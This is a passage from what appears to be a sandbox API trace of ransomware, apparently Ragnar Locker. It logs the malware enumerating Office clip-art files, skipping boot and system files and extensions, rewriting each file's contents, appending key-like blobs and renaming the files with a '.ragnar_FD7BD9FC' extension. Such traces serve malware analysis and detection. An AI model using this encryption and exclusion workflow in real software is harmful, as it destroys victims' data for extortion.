Office\\CLIPART\\PUB60COR\\NA00808_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" [0088.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.ragnar_FD7BD9FC" [0088.587] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.588] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0088.588] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.588] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00809_.WMF" | out: lpString1="NA00809_.WMF") returned="NA00809_.WMF" [0088.588] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF") returned=".WMF" [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="autorun.inf") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="boot.ini") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="bootfont.bin") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="bootsect.bak") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="bootmgr") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="bootmgr.efi") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="desktop.ini") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="iconcache.db") returned 1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="ntldr") returned -1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="ntuser.dat") returned -1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="ntuser.ini") returned -1 [0088.588] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="thumbs.db") returned -1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.588] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf")) returned 0x20 [0088.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.589] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1544) returned 1 [0088.589] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.589] GetProcessHeap () returned 0x580000 [0088.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.589] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.591] VirtualAlloc (lpAddress=0x0, dwSize=0x608, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.591] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x608, lpOverlapped=0x0) returned 1 [0088.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x608, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.591] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x608, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x608, lpOverlapped=0x0) returned 1 [0088.591] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x608, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.591] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x608, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.592] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.592] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.592] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.592] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.592] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.592] GetProcessHeap () returned 0x580000 [0088.592] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.592] CloseHandle (hObject=0xf4) returned 1 [0088.592] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" [0088.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.ragnar_FD7BD9FC" [0088.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0088.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.593] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00810_.WMF" | out: lpString1="NA00810_.WMF") returned="NA00810_.WMF" [0088.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF") returned=".WMF" [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="autorun.inf") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="boot.ini") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="bootfont.bin") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="bootsect.bak") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="bootmgr") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="bootmgr.efi") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="desktop.ini") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="iconcache.db") returned 1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="ntldr") returned -1 [0088.593] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="ntuser.dat") returned -1 [0088.594] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.594] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="ntuser.ini") returned -1 [0088.594] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="thumbs.db") returned -1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.594] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf")) returned 0x20 [0088.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.594] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3416) returned 1 [0088.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.594] GetProcessHeap () returned 0x580000 [0088.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.594] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.596] VirtualAlloc (lpAddress=0x0, dwSize=0xd58, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.596] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd58, lpOverlapped=0x0) returned 1 [0088.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.596] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd58, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.596] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd58, lpOverlapped=0x0) returned 1 [0088.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.597] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.597] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.597] GetProcessHeap () returned 0x580000 [0088.597] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.597] CloseHandle (hObject=0xf4) returned 1 [0088.597] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" [0088.597] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.ragnar_FD7BD9FC" [0088.597] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.598] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0088.598] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.598] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00932_.WMF" | out: lpString1="NA00932_.WMF") returned="NA00932_.WMF" [0088.598] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF") returned=".WMF" [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="autorun.inf") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="boot.ini") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="bootfont.bin") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="bootsect.bak") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="bootmgr") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="bootmgr.efi") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="desktop.ini") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="iconcache.db") returned 1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="ntldr") returned -1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="ntuser.dat") returned -1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="ntuser.ini") returned -1 [0088.598] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="thumbs.db") returned -1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.599] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf")) returned 0x20 [0088.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.599] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12816) returned 1 [0088.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3207, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.599] GetProcessHeap () returned 0x580000 [0088.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.599] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.601] VirtualAlloc (lpAddress=0x0, dwSize=0x3210, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.601] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3210, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3210, lpOverlapped=0x0) returned 1 [0088.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3210, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.603] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3210, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3210, lpOverlapped=0x0) returned 1 [0088.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3210, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.603] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.603] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.603] GetProcessHeap () returned 0x580000 [0088.603] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.604] CloseHandle (hObject=0xf4) returned 1 [0088.604] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" [0088.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.ragnar_FD7BD9FC" [0088.604] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program 